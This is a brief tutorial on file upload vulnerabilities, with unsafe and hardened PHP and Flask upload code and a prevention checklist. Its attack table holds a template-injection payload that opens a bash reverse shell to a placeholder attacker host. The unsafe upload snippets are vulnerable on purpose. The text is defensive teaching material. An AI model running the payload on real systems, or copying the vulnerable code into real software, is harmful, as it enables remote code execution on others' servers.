File Upload Vulnerability - Basic Exploitation
Basic File Upload Vulnerabilities
Basic file upload vulnerabilities occur when applications lack fundamental validation checks, allowing attackers to upload malicious files with simple techniques.
Basic Risk Factors:
- No file extension validation
- Client-side only validation
- Simple blacklist approaches
- No file size restrictions
Basic Vulnerable Code Examples
PHP (Basic Example):
// UNSAFE - Basic vulnerability
if (isset($_FILES['file'])) {
$filename = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}
Python (Flask Example):
# UNSAFE - Basic vulnerability
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['file']
file.save(os.path.join('uploads', file.filename))
Basic Secure Solutions
PHP (Basic Protection):
$allowed = ['jpg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die("Invalid file type");
}
$filename = uniqid().'.'.$ext;
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/'.$filename);
Python (Basic Protection):
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
file = request.files['file']
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join('uploads', filename))
Basic Attack Vectors
| Technique | Example | Impact |
|---|---|---|
| Simple Extension Bypass | malicious.php.jpg | Bypass basic extension checks |
| Case Sensitivity | malicious.pHp | Bypass case-sensitive filters |
| Template Injection | {{{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen("bash -c 'bash -i >& /dev/tcp/ATTACKERIP/4444 0>&1'").read() }}}} | RCE via template engines |
| Overwrite Existing | .htaccess or config files | Modify server behavior |
Basic Detection & Prevention
Detection Tools:
- Burp Suite - Intercept and modify uploads
- Simple extension fuzzing
- Manual testing with malicious files
Prevention Checklist:
- Implement extension allow-listing
- Use secure_filename() equivalents
- Randomize uploaded filenames
- Set proper upload directory permissions
Practical demonstration of the vulnerability explained above: